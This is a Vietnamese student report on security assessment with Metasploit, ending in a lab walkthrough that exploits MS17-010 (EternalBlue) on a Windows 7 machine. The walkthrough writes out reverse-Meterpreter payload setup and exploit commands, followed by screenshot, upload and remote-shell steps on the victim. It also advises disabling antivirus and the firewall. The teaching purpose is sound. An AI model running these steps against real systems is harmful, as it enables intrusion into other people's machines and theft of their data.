Tải bản đầy đủ (.pdf) (30 trang)

Su dung metasploit trong danh gia an toan he thong thong tin 1cb57d7b6e7b09e2343e96eb164414c1 1691230336667

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (7.03 MB, 30 trang )

BÁO CÁO
ĐÁNH GIÁ VÀ KIỂM ĐỊNH AN TỒN HỆ THỐNG
THƠNG TIN
ĐỀ TÀI: SỬ DỤNG METASPLOIT TRONG ĐÁNH GIÁ AN
TOÀN HỆ THỐNG THÔNG TIN
Giáo viên hướng dẫn:

Hà Nội, tháng 07 năm 2020

1


MỤC LỤC

2


DANH MỤC HÌNH VẼ VÀ BẢNG BIỂU

3


LỜI MỞ ĐẦU
Hiện nay vấn đề về mất an toàn thông tin trên các hệ thống thông tin, hệ thống mạng và
không gian mạng được quan tâm rất lớn trên toàn thế giới. Trong những năm gần đây
chúng ta đã chứng kiến những cuộc tấn công mạng, sự cố mạng quy mơ cực kì lớn, các
tin tặc đã lợi dụng các lỗ hổng trong hệ thống để đánh cắp dữ liệu mật hay trực tiếp tống
tiền trên quy mơ tồn cầu. Do đó để giúp hệ thống tránh khỏi các nguy cơ liên quan đến
bảo mật, đồng thời giúp các nhà phát triển khắc phục những vấn đề còn tồn đọng trong
thiết kế thì phương pháp kiểm thử an ninh được áp dụng và sử dụng phổ biến nhất.
Để thực hiện kiểm thử một cách tốt nhất đem lại kết quả cao nhất thì rất nhiều bộ cơng


cụ hay phần mềm hỗ trợ và thực thi kiểm thử được ra đời. Hiện nay nổi bật nhất phổ biến
nhất được hầu hết các chuyên gia bảo mật đánh giá cao và sử dụng chính là Metasploit.
Cơng cụ này cung cấp cho ta các chức năng để do thám kiểm tra và tấn cơng các lỗ hổng
của hệ thống máy tính hoặc xâm nhập vào các hệ thống từ xa. Metasploit hiện nay đã
phát triển ra nhiều phiên bản khác nhau, với phiên bản cao cấp nhất là Metasploit Pro
đem lại cho ngƣời dùng tất cả các tính năng tốt nhất nhƣ tính tự động, giao diện thân
thiện, tạo báo cáo ... phục vụ cho việc kiểm thử an ninh. Tuy nhiên để sử dụng phiên bản
này thì bạn phải trả chi phí hàng năm rất lớn (khoảng 7000$- 8000$/ năm). Ngồi ra cịn
có phiên bản Metasploit Framework, đây là phiên bản miễn phí mã nguồn mở với các
chức năng chính tập trung vào các Module tấn cơng, giao diện dịng lệnh kém thân thiện
với người dùng, khơng có tính năng tự động, các bước làm đều phải làm thủ cơng ...
Chính vì vậy tơi sẽ phát triển mở rộng thêm tính năng tạo báo cáo về kết quả của các
phiên kiểm thử an ninh theo định dạng PDF và HTML cho phiên bản miễn phí này, vốn
là một tính năng chỉ có trong phiên bản thương mại đắt tiền nhất của Metasploit Pro.Với
tính năng tạo báo cáo được thêm vào sẽ giúp ta có thể so sánh phân tích đánh giá về các
lỗ hổng hay khám phá ra những mối đe dọa tiềm ẩn khác để ra một sản phẩm bảo mật an
ninh tích hợp hơn mạnh mẽ hơn.
Nội dung báo cáo gồm 3 chương:
Chương 1: Tổng quan về đánh giá an tồn hệ thống thơng tin
Chương này cung cấp khái niệm cơ bản về đánh giá, tầm quan trọng của đánh giá và
phương pháp luận đánh giá an toàn hệ thống thông tin.
Chương 2: Sử dụng Metasploit trong đánh giá an tồn hệ thống thơng tin
Chương này cung cấp các kiến thức cơ bản về Metasploit. Tập trung phân tích Metasploit
Framework để tiến hành thực nghiệm khai thác lỗ hổng.
Chương 3: Thực nghiệm khai thác lỗ hổng MS17-010 bằng Metasploit Framework
Thực hiện khai thác lỗ hổng MS17-010 trên hệ điều hành Windows 7 64 bit.
Báo cáo được viết lần đầu tiên và trong thời gian ngắn, do đó có thể sẽ còn nhiều
khiếm khuyết về nội dung cũng như phương pháp thực hiện. Chúng em rất mong nhận
được những ý kiến đóng góp của thầy và các bạn để tiếp tục hoàn thiện báo cáo tốt hơn.


4


Chương 1: TỔNG QUAN VỀ ĐÁNH GIÁ AN TOÀN HỆ THỐNG
THƠNG TIN
1.1.

Khái niệm đánh giá an tồn hệ thống thơng tin
Theo Viện tiêu chuẩn quốc gia và công nghệ, đánh giá an tồn hệ thống thơng tin
(Information Security Assessment) là quy trình xác định tính hiệu quả của một thực thể
được đánh giá (ví dụ: máy tính, hệ thống, mạng, quy trình vận hành, con người, …) đáp
ứng các mục tiêu an ninh cụ thể. Quy trình này tập trung vào 3 phương pháp chính: kiểm
thử (testing), kiểm tra (examination) và phỏng vấn (interviewing). Kiểm thử là thực hiện
giám định một hoặc nhiều đối tượng theo điều kiện quy định để so sánh kết quả thực tế
với dự kiến. Kiểm tra là quá trình xem xét, quan sát hoặc phân tích để làm rõ, khẳng định
và lấy bằng chứng. Phỏng vấn là tiến hành các cuộc thảo luận với các cá nhân hoặc các
nhóm trong một tổ chức để tìm hiểu, xác định vị trí của các đối tượng liên quan tới an
tồn thơng tin. Kết quả của q trình đánh giá được sử dụng đễ hỗ trợ trong việc đưa ra
các biện pháp kiểm soát hệ thống mạng một cách hiệu quả nhất.
Theo SANS, đánh giá an toàn hệ thống thơng tin là thước đo độ an tồn của hệ thống
hoặc tổ chức, hay còn hiểu là cách thức thực hiện an tồn thơng tin. Đánh giá an tồn là
đánh giá dựa trên việc xác định các rủi ro, trong đó tập trung vào xác định điểm yếu và
các tác động tới hệ thống. Đánh giá an toàn dựa trên 3 phương pháp chính, có liên quan
đến nhau là: rà soát (reviewing), kiểm tra (examination) và kiểm thử (testing). Sự kết hợp
của 3 2 phương pháp này có thể đánh giá chính xác các yếu tố về cơng nghệ, con người
và quy trình xử lý an ninh của một hệ thống mạng. Trong đó:
Phương pháp rà sốt (Reviewing Method):
Phương pháp rà soát bao gồm các kỹ thuật xem xét thụ động và thực hiện phỏng vấn,
thường được thực hiện thủ công. Chúng giúp cho việc đánh giá các hệ thống, ứng dụng,
mạng, chính sách và các quy trình xử lý để phát hiện các điểm yếu trong hệ thống. Những

công việc cần thực hiện chủ yếu là xem xét lại tài liệu, kiến trúc, tập hợp quy tắc và cấu
hình hệ thống. Phương pháp này cho phép người đánh giá có một cái nhìn sơ lược về
mức độ, các thông tin quan trọng trong hệ thống và nhu cầu đảm bảo an ninh mà hệ thống
hướng tới.
Phương pháp kiểm tra (Examination Method):
Kiểm tra là quy trình xem xét cụ thể tại tổ chức từ mức hệ thống/ mạng để xác định các
điểm yếu an ninh tồn tại trong hệ thống. Các cơng việc cụ thể như: phân tích tường lửa,
phân tích hệ thống phát hiện và ngăn chặn xâm nhập, phân tích các bộ định tuyến, ... Nó
cũng bao gồm việc dò quét điểm yếu trong các hệ thống mạng. Những thơng tin thu đươc
từ phương pháp rà sốt ở trên là nền tảng cho việc kiểm tra được thực hiện dễ dàng và
hiệu quả.
Phương pháp kiểm thử (Testing Method):
Kiểm thử (hay còn gọi là kiểm thử xâm nhập – penetration testing) là một quy trình trong
đó người kiểm thử đóng vai trị như kẻ tấn cơng thực hiện các phương pháp tìm kiếm lỗ
hổng bảo mật trong mạng để thực hiện xâm nhập tới hệ thống hoặc mạng. Các thông tin
5


từ q trình rà sốt, kiểm tra cũng góp phần rất quan trọng cho việc kiểm thử chính xác.
Hình 1.1 mơ tả mối quan hệ giữa các phương pháp:

Hình 1.1. Phương pháp đánh giá an tồn hệ thống thơng tin
1.2.

Tầm quan trọng của đánh giá an tồn hệ thống thơng tin
Việc thực hiện đánh giá an toàn nhằm xác định mức độ an ninh hiện tại của hệ thống
thông tin trong một tổ chức. Điều này cho phép tổ chức có một cái nhìn tồn diện về các
mối nguy hại tồn tại trong hệ thống mạng của mình; đồng thời có các giải pháp khắc
phục, cải tiến hệ thống thơng tin tiếp cận tới các mục tiêu an ninh tổ chức đề ra và giảm
thiểu các rủi ro không đáng có. Dưới đây sẽ mơ tả cụ thể hơn về các vấn đề an ninh tới hệ

thống mạng của tổ chức:

6


Hình 1.2. Mục tiêu an tồn của tổ chức
Đánh giá an tồn hệ thống thơng tin cho phép trả lời các câu hỏi như sau:
 Các thông tin quan trọng là gì?
 Hệ thống thơng tin đã triển khai các giải pháp đảm bảo an ninh nào?
 Tình hình an ninh thơng tin hiện tại là như thế nào?
 Có cần thêm các biện pháp để đối phó với vấn đề đảm bảo an ninh thông tin hay
không?
+ Vấn đề nào cần ưu tiên trong lộ trình xử lý để đảm bảo an tồn thơng tin một cách đầy
đủ?
Như vậy, khi thực hiện đánh giá an ninh các tổ chức khơng chỉ nắm được tình hình
chung về các khía cạnh an tồn trong hệ thống mạng của tổ chức mình mà cịn xác định
được các thơng tin quan trọng, ưu tiên để xử lý phù hợp nhằm đảm bảo xây dựng các giải
pháp an ninh một cách đầy đủ và thống nhất.

7


Chương 2. SỬ DỤNG METASPLOIT TRONG ĐÁNH GIÁ AN
TOÀN HỆ THỐNG THƠNG TIN
2.1.

Khái niệm Metasploit
Metasploit hay cịn có thể gọi là Metasploit Project là một dự án liên quan đến bảo
mật máy tính, cung cấp những thơng tin về các lỗ hổng bảo mật. Đối tượng nhắm đến của
Metasploit chính là những q trình tấn cơng xâm nhập kiểm thử (Penetration Testing) và

phát triển các hệ thống phát hiện xâm nhập (Intrusion Detection System – IDS)
Metasploit được tích hợp sẵn trong hệ điều hành Kali Linux. Nó cũng có thể được tải
xuống từ địa chỉ web của nhà phát triển: />
2.2.

Lịch sử ra đời và phát triển
Metasploit ra đời vào năm 2003 bởi tác giả H. D. Moore được viết trên nền tảng ngôn
ngữ Perl sau này là Ruby, ban đầu nó được xem như là các cơng cụ dạng Portable dành
cho mạng máy tính. Mãi cho đến ngày 21 tháng 09 năm 2009, Metasploit đã được mua
lại bởi Rapid7, một công ty bảo mật chuyên cung cấp những giải pháp về quản lý lỗ
hổng. Cũng giống như những sản phẩm thương mại “Canvas” của Immunity, “Core
Impact” của Core Security Technologies. Metsploit cũng được sử dụng để kiểm tra lỗ
hổng bảo mật của những hệ thống máy tính hoặc xâm nhập vào những hệ thống từ xa.
Metasploit có thể được dùng vào các hoạt động hợp pháp hoặc không hợp pháp, nó
dần trở nên nổi tiếng và được biết đến như là một Framework cho việc phát triển những
module khai thác, tấn công lỗ hổng bảo mật. Mỗi một Module được phát triển từ bên thứ
ba (Third-Party) đều được đi kèm với những khuyến cáo để nhằm nêu bật được khả năng
khai thác, mức độ rủi ro và cách khắc phục lỗ hổng chứ không chỉ tập trung vào khai thác
lỗ hổng. Từ phiên bản Metasploit 3.0 được tích hợp thêm những công cụ giúp phát hiện
các lỗi bảo mật trong phần mềm. Vào tháng 8 năm 2011 thì phiên bản Metasploit 4.0
được phát hành và được sử dụng cho đến nay, đặc biệt là có hỗ trợ trên rất nhiều các nền
tảng khác nhau như : Linux, Windows, Unix…vv

2.3.

Các phiên bản Metasploit
Hiện nay trải qua một thời gian dài sừa đổi và phát triển thì Metasploit có những
phiên bản sau:
Metasploit Community Edition
Vào tháng 10 năm 2011 thì Rapid7 phát hành Metasploit Community Edition, một phiên

bản miễn phí, có giao diện web cho người dùng. Phiên bản này được phát triển dựa vào
những tính năng của phiên bản có trả phí, chỉ có điều phiên bản này đã bị bỏ đi một số
tính năng “network discovery/ module browsing/manual exploitation”. Phiên bản này phù
hợp với các công ty nhỏ và sinh viên.

8


Hình 2.1. Giao diện Metasploit Community Edition
Metasploit Pro
Tháng 10 năm 2010, Rapid7 đã phát hành Metasploit Pro, một phiên bản thương mại. Có
thể nói đây là một phiên bản mạnh mẽ nhất của Metasploit, nó bao gồm tất cả các tính
năng của Metasploit Express và phát triển thêm các tính năng ưu việt khác như “Quick
Start Wizards/MetaModules” , xây dựng và quản lý những hoạt động tấn công sử dụng kỹ
nghệ xã hội (Social Engineering), kiểm thử ứng dụng Web, tạo các Payload một cách tự
động để tránh sự phát hiện của các phần mềm Anti-Virus, tích hợp cả cơng cụ mạnh mẽ
Nexpose cho việc quét lỗ hổng trên mạng, sử dụng kỹ thuật “VPN pivoting”. Và có một
điểm khác biệt nữa là phiên bản Pro hỗ trợ cả chế độ dòng lệnh và giao diện người dùng.
Phiên bản này hiện tại thì có giá cao nhất so với các phiên bản khác, phù hợp cho những
người thực hiện kiểm thử xâm nhập, những nhóm bảo mật.

Hình 2.2. Giao diện Metasploit Pro
Metsploit Framework
Trái ngược hoàn toàn với các phiên bản khác của Metasploit thì Metasploit
Framework chỉ có duy nhất một chế độ giao diện dòng lệnh, mọi thao tác đều thơng qua
dịng lệnh. Có một điều đặc biệt thì đây là phiên bản mã nguồn mở và hồn tồn miễn
phí, rất phù hợp cho việc phát triển và nghiên cứu. Nhược điểm của phiên bản này là hầu
9



như chỉ có một số tính năng cơ bản, khơng được cập nhật như những phiên bản khác.
Chính vì vậy việc phát triển, tích hợp các tính năng mới vào Metasploit Framework là rất
cần thiết, phù hợp với những nhu cầu, nhiệm vụ khi mà có giới hạn về mặt chi phí. Tuy
có nhiều hạn chế về những tính năng ưu việt thì phiên bản này có thể coi là công cụ
không thể thiếu của những nhà nghiên cứu bảo mật chuyên nghiệp, những người kiểm
thử xâm nhập và được giới Hacker rất ưa chuộng.

2.4.

Hình 2.3. Giao diện Metasploit Framework
Metasploit Framework

2.4.1. Tính năng và các thành phần của Metasploit Framework
Tính năng
 Quét cổng để xác định các dich vụ đang hoat động trên server
 Xác định các lỗ hổng dựa trên phiên bản hệ điều hành và phiên bản các phần
mềm cài đặt trên hệ điều hành đó
 Thử nghiệm khai thác lỗ hổng đã được xác định
Thành phần:
Metasploit hỗ trợ nhiều giao diện với người dùng:
 Console interface: Dùng msfconsole.bat. Msfconsole interface sử dụng các
dịng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
 Web interface: Dùng msfweb.bat, giao tiếp với người dùng thông qua giao
diện web
 Command line interface: Dùng msfcli.bat
Environment:

10



 Global Environment: Được thực thi thông qua 2 câu lệnh setg và unsetg,
những options được gán ở đây sẽ mang tính tồn cục, được đưa vào tất cả các
module exploits.
 Temporary Environment: Được thực thi thông qua 2 câu lệnh set và unset,
environment này chỉ được đưa vào module exploit đang load hiện tại, không
ảnh hưởng đến các module exploit khác.
Bạn có thể lưu lại environment mình đã cấu hình thơng qua lệnh save. Mơi trường đó sẽ
được lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện.
Những options nào mà chung giữa các exploits module như là: LPORT, LHOST,
PAYLOAD thì bạn nên được xác định ở Global Environment.
Ví dụ:
Msf5> set LORT 80
Msf5> set LHOST 192.168.1.12
Một số câu lệnh cơ bản:
-

Back: lệnh này dùng khi bạn muốn thoát ra khỏi module bạn đã chọn trước đó sau khi
hồn thành cơng việc hoặc muốn chuyển sang cơng viêc khác.
Ví dụ: msf payload(reverse http) > back
Msf>

-

Check: lệnh này giúp ta kiểm tra đã cấu hình đúng cho khai thác chưa, mọi việc đã
hoàn thành chưa. Cho ta biết kết quả mà không cần phải thưc thi khai thác đó. Nhưng
khơng phải tất cả mọi mã khai thác đều hỗ trợ lệnh này.

-

Connect: lênh này giống như môt bản netcat thu nhỏ được cho vào metasploit được

hỗ trợ với ssl, proxy, pivoting… Với việc dùng câu lệnh connect với địa chỉ IP và Port
tương ứng, chúng ta có thể connect tới một host từ metasploit giống như khi dùng với
netcat hoặc telnet vậy.
Ví dụ: msf> connect 188.69.228.254 22

-

Info: lệnh này cho biết những thông tin chi tiết của một module hay một mã khai thác
nào đó. Hiển thị cho ta thông tin cơ bản nhất, bao gồm cả các tùy chọn cần thiết.

-

Irb: lệnh này cho ta biết các module đang chạy.

-

Load: Lênh này để load một plugin từ metasploit plugins.

-

Search: lệnh này giúp ta tìm kiếm exploit, auxiliary, encoder. Trong đó nó cịn hỗ trợ
một số keyword giúp cải tiến khả năng tìm kiếm như: name, path, platform, port, type,
app, author, cve, bid, osvdb, edb.
Ví dụ: search cve:2099 type:exploit app:client

11


-


Session: lênh này liệt kê các session đang tồn tại, session này có thể là session của
shell, của meterpreter……

-

Set – unset: lệnh này cho phép ta cấu hình cho các exploit… lệnh này gặp thường
xuyên. Unset là lệnh có ý nghĩa ngược lại.

-

Setg – unsetg: trong quá trình thực hiện tấn cơng một mục tiêu, hoặc nhiều mục tiêu.
Ta có thể dùng một exploit hoặc đôi khi là nhiều exploit. Có một vài option nết set
bình thường thì ta phải set nhiều lần. Nhưng nếu ta để choc ac option này có ý nghĩa
tồn cục. Thì việc lặp lại là khơng cần. Nó có hiệu lực cho mọi exploit, auxiliary. Đó
là ý nghĩa của setg (global set). Để hủy thì ta dùng unsetg. Nếu muốn lưu việc cấu
hình này lại thì dùng lệnh “save”.

-

Show: liệt kê các module hiện tại.

-

Use: cho phép chon một module.

-

Auxiliary: là một module cung cấp chức năng tăng cường cho các thử nghiệm xâm
nhập và quét lổ hổng cùng với các tác vụ tự động. Phân loại trong auxiliary module:
module quét các giao thức (như SMB, HTTP), module quét các Port, wireless, IPV6,

DOS, Server modules, Module khai thác truy cập quản trị.

-

Exploits: là một module dùng để khai thác các dịch vụ.

-

Payloads: ta có thể hiểu đơn giản nó là một đoạn code thưc thi trên máy nạn nhân,
dùng để thực hiện một số hoạt động nào đó, hoặc dùng để kết nối về máy của người
tấn cơng. Có 2 phương pháp chủ yếu được dùng. Đó là gửi cho nạn nhân thơng qua
việc phân tích một lỗi, lỗ hổng nào đó trên hệ thống của nạn nhân, từ đó đột nhập và
gửi đoan payload này cho nạn nhân. Kiểu thứ 2 là gửi trưc tiếp cho nạn nhân, chờ đợi
nạn nhân sơ ý nhận nó- đây gọi là kỹ thuật social engineering.

-

Target: cung cấp các danh sách các mục tiêu phù hợp với module khai thác mà bạn
chọn.

2.4.2. Sử dụng Metasploit Framework
a. Payload meterpreter
Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong
Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác, tấn
câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object
(DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hồn
tồn khơng được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống
12



virus. Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote
computer:
 Fs: Cho phép upload và download files từ các remote machine
 Net: Cho phép xem thông tin mạng của remote machine như IP, route table
 Process: Cho phép tạo các processes mới trên remote machine
 Sys: Cho phép xem thông tin hệ thống của remote machine
Sử dụng câu lệnh:
 use -m module1,module2,module3 [ -p path ] [ -d ]: Câu lệnh use dùng để load
những module mở rộng của meterpreter như: Fs, Net, Process.
 loadlib -f library [ -t target ] [ -lde ]: Câu lệnh cho phép load các thư viện của remote
machines.
 read channel_id [length]: Lệnh read cho phép xem dữ liêu của remote machine trên
channel đang kết nối.
 write channel_id: Lệnh write cho phép ghi dữ liệu lên remote machine.
 close channel_id: Đóng channel mà đã kết nối với remote computer.
 interact channel_id: Bắt đầu một phiên làm việc với channel vừa thiết lập với
remote machine.
 initcrypt cipher [parameters]: Mã hoá dữ liệu được gửi giữa host và remote
machine.
Sử dụng module Fs:
Cho phép upload và download files từ các remote machine.
 cd directory: Giống lệnh cd của command line
 getcwd: Cho biết thư mục đang làm việc hiện tại
 ls [filter_string]: liệt kê các thư mục và tập tin
 upload src1 [src2 ...] dst: Upload file
 download src1 [src2 ...] dst: Download file
Sử dụng module Net:
 ipconfig
 route: Xem bảng định tuyến của remote machine.
 portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p rport ] [ -P ]: Cho phép tạo

port forward giữa host và remote machine.
Sử dụng module Process:
 execute -f file [ -a args ] [ -Hc ]: Câu lệnh execute cho phép bạn tạo ra một process
mới trên remote machine và sử dụng process đó để khai thác dữ liệu
 kill pid1 pid2 pid3: Huỷ những process đang chạy trên máy remote machine
 ps: Liệt kê những process của remote machine.
13


Sử dụng module Sys:
 getuid: Cho biết username hiện tại của remote machine
 sysinfo: Cho biết thông tin về tên máy tính, hệ điều hành.
Ví dụ:
Msf>use Lsass_ms04_011
Msf>set PAYLOAD win32_reverse_meterpreter
Msf>set RHOST 192.168.1.2
Msf>set LHOST 192.168.1.1
Msf>exploit
Meterpreter> help
Meterpreter>use -m P //add thêm tập lệnh của process
Meterpreter>help< // xem các lệnh meterpreter hỗ trợ
Meterpreter>ps // list các process mà remote machine đang chạy
Meterpreter>kill // tắt các process mà remote machine đang chạy
Meterpreter> // tấn công sử dụng comandline cmd của remote machine
execute: success, process id is 3516.
execute: allocated channel 1 for new process.
meterpreter> interact 1
interact: Switching to interactive console on 1...
interact: Started interactive channel 1.
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS>echo Meterpreter interactive channel in action
echo Meterpreter interactive channel in action
Meterpreter interactive channel in action
C:\WINDOWS>ipconfig
Caught Ctrl-C, close interactive session? [y/N] y
meterpreter>

2.4.3. Quy trình khai thác mục tiêu
14


a. Chon module exploit:
Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác.
 show exploits: Xem các module exploit mà framework có hỗ trợ
 use exploit_name: Chọn module exploit
 info exploit_name: Xem thông tin về module exploit
Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên metasploit.com hoặc qua script
msfupdate.bat
b. Cấu hình module exploit đã chọn:
 Show options: Xác định những options nào cần cấu hình
 Set: cấu hình cho những option của module đó
Một vài module cịn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh
show advanceds
c. Xác nhận những option vừa cấu hình:
 Check: kiểm tra xem những option đã được set chính xác chưa.
d. Lựa chọn mục tiêu:
Lựa chọn hệ điều hành muốn thực hiện.
 Show targets: những target được cung cấp bởi module đó.
 Set: xác định target nào

Ví dụ:
msf> use windows_ssl_pct
show targets
Exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000….
e. Lựa chọn payload:
Payload là đoạn code mà sẽ chạy trên hệ thống máy tính được điều khiển từ xa.
 show payloads: Liệt kê ra những payload của module exploit hiện tại
 info payload_name: Xem thơng tin chi tiết về payload đó
 set PAYLOAD payload_name: Xác định payload module name.Sau khi lựa chọn
payload nào, dùng lệnh show option để xem những option của payload đó
 show advanced: Xem những advanced option của payload đó.
f. Thực thi exploit:
 Exploit: Lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn
những thông tin về hệ thống được khai thác.

15


Chương 3. THỰC NGHIỆM KHAI THÁC LỖ HỔNG MS17-010
BẰNG METASPLOIT FRAMEWORK
3.1.

Giới thiệu về lỗ hổng MS17-010
Lỗ hổng MS17-010 hay còn được biết đến với cái tên EternalBlue là một điểm yếu trong
giao thức SMBv1(Server Message Block) của hệ điều hành Windows, giúp hacker khai
thác thông tin hoặc chiếm quyền điều khiển máy tính nạn nhân.
Lỗ hổng MS17-010 là một lỗ hổng buffer overflow. Lợi dụng lỗ hổng này, hacker sẽ gửi
các gói tin đặc biệt gây ra tràn bộ đệm và khiến máy tính nạn nhân thực thi các lệnh, mã
độc của hacker.
Phiên bản bị ảnh hưởng:

– Người dùng cá nhân: Windows XP, 7, 8, 8.1, 10
– Máy chủ: Windows Server 2003, 2008, 2012, 2016

3.2. Bài toán áp dụng
3.2.1. Kịch bản tấn công
Nạn nhân sử dụng hệ điều hành Windows 7 64 bit chưa được cập nhập vá lỗ hổng ms17010. Có sử dụng dịch vụ SMBv1 trên cổng 445
Hacker sử dụng hệ điều hành Kali Linux đã được cập nhật đầy đủ bản mới nhất các công
cụ khai thác lỗ hổng trong máy.
Máy nạn nhân sử dụng địa chỉ IP 192.168.1.113/24
Máy tấn công sử dụng địa chỉ IP 192.168.1.12/24
Chú ý: Nếu đang sử dụng Windows, hãy tắt phần mềm chống vi-rút và firewall vì
Metasploit sẽ được firewall xác định như một virus xâm nhập. Trong trường hợp sử dụng
Metasploit trên môi trường máy ảo, hãy đảm bảo rằng kết nối mạng được liên kết với
mạng bên ngoài. Metasploit sẽ tìm và quét tất cả những gì được yêu cầu trên mạng của
chúng ta và cả những người khác, do đó, metasploit cần được phép truy cập chính xác
vào đúng mạng.
Máy tấn công cũng cần phải nằm trong cùng mạng nội bộ với máy nạn nhân.
3.2.2. Sử dụng Metasploit Framework để khai thác lỗ hổng ms17-010
 Trước tiên ta sẽ thiết lập địa chỉ IP trên 2 máy tấn công và máy của nạn nhân

16


Hình 3.1. Cấu hình địa chỉ IP trên máy tấn cơng

Hình 3.2. Cấu hình địa chỉ IP trên máy nạn nhân

Hình 3.3. Kiểm tra kết nối giữa máy tấn cơng và máy nạn nhân
 Thực hiện xác định host, cổng và các dịch vụ trong mạng cần khai thác


17


Các thông tin cần thu thập như các host đang sống, cổng đang mở, nhận diện hệ điều
hành và kiến trúc hệ thống, các dịch vụ đang chạy và các nguy cơ an ninh (vulnerability)
của các host đó.
Ở đây chúng ta sẽ tiến hành khai thác lỗ hổng thông qua cổng 445

Hình 3.4. Xác định host, cổng và các dịch vụ trong máy nạn nhân
 Tạo database

Hình 3.5. Tạo database
 Triển khai giao thức Metasploit
Khởi động Metasploit bằng lệnh msfconsole

18


Hình 3.6. Giao diện Metasploit Framework
 Tìm kiếm lỗ hổng MS17-010
Mỗi một lỗ hổng bảo mật được định nghĩa trong Metasploit thường có 2 module, một
là cái auxiliary để quét xem máy nạn nhân có chứa lỗ hổng này khơng, hai là exploit
để khai thác điều đó.
Ta tiến hành tìm kiếm lỗ hổng MS17-010 trên máy nạn nhân thông qua câu lệnh:
search eternalblue

19


Hình 3.7. Phát hiện tồn tại lỗ hổng ms17-010

 Tiến hành khai thác lỗ hổng
Gõ lệnh use [đường dẫn module] :
msf5> use exploit/windows/smb/ms17_010_eternalblue

Gõ tiếp lệnh show options và show payloads để xem các thơng tin và tuỳ chọn của nó.

Hình 3.8. Xác định những options cần cấu hình
Hãy chú ý vào Exploit target, lựa chọn nền tảng hệ điều hành của máy nạn nhân mà ta
nhắm tới. Ở đây module này chỉ nhắm tới win7 và win server 2008, mặc định mã id
target là 0. Nếu có nhiều lựa chọn target hơn, hãy set target [mã_id] để chọn nền tảng
nhắm vào.
Xem các giá trị ở cột Current Setting, ta sẽ biết thiếu hay cần thay đổi cái nào theo cú
pháp set [tên_option] [giá_trị].
Như ở hình trên, thiếu giá trị cho RHOSTS, đó là địa chỉ IP của máy nạn nhân, hay
ProcessName, tên tiến trình trên máy nạn nhân mà ta gài payload vào, ta có thể đổi tên
khác cũng được, hay RPORT là port (cổng) mà ta muốn mở trên máy nạn nhân, ta có thể
đổi cổng khác hoặc giữ mặc định.
Lưu ý ở cột Required, giá trị Yes tức là bắt buộc phải có.

20


Hình 3.9. Danh sách những payload của module exploit hiện tại
 Cài đặt các thông số cần thiết
LHOST: local host, là địa chỉ ip của máy hacker.
LPORT: cổng để Metasploit lắng nghe tín hiệu gửi về.
RHOST: remote host, là địa chỉ ip của máy nạn nhân.
RPORT: mã độc sẽ phát tín hiệu qua cổng này trên máy nạn nhân (LPORT và RPORT
không nhất thiết phải giống nhau).


Sau khi đã cài đặt xong, ta gõ lệnh show options để kiểm tra lại

21


Hình 3.10. Kiểm tra cấu hình đã cài đặt
 Thực hiện tấn công
Gõ lệnh exploit để thực hiện tấn công. Nếu sau khi gõ exploit mà vài giây sau hiện
thông báo ConnectionTimeout có nghĩa là đã khơng thành cơng. Có thể máy nạn
nhân khơng tồn tại lỗ hổng đó, hoặc do đặt các tham số chưa đúng.
Nếu exploit thành công, bạn có thể can thiệp được vào máy nạn nhân với rất nhiều tuỳ
chọn. Sử dụng help để xem danh sách các lệnh trong meterpreter có kèm theo mơ tả
ngắn.

22


Hình 3.11. Thực hiện tấn cơng vào máy nạn nhân thành cơng
Sau đó ta tiến hành kiểm tra sơ bộ thơng tin về máy nạn nhân bằng lệnh sysinfo

Hình 3.12. Thông tin cơ bản của máy nạn nhân

23


Hình 3.13. Danh sách các tuỳ chọn tiến hành khai thác
 Thực hiện chụp lại màn hình máy nạn nhân
Sử dụng câu lệnh screenshot để chụp màn hình máy nạn nhân. Sau khi thực hiện xong,
ảnh sẽ được lưu vào đường dẫn: /root/wJttDpZB.jpg


24


Hình 3.14. Kết quả chụp lại màn hình máy nạn nhân
 Thực hiện upload file lên máy nạn nhân
Sử dụng câu lệnh
Upload [options] src1 src2 src3 ... destination

Hình 3.15. Kết quả upload file lên máy nạn nhân
 Sử dụng lệnh shell để chạy cmd trên máy nạn nhân. Và dùng lệnh dir để xem danh
sách file trên hệ thống máy nạn nhân

25


×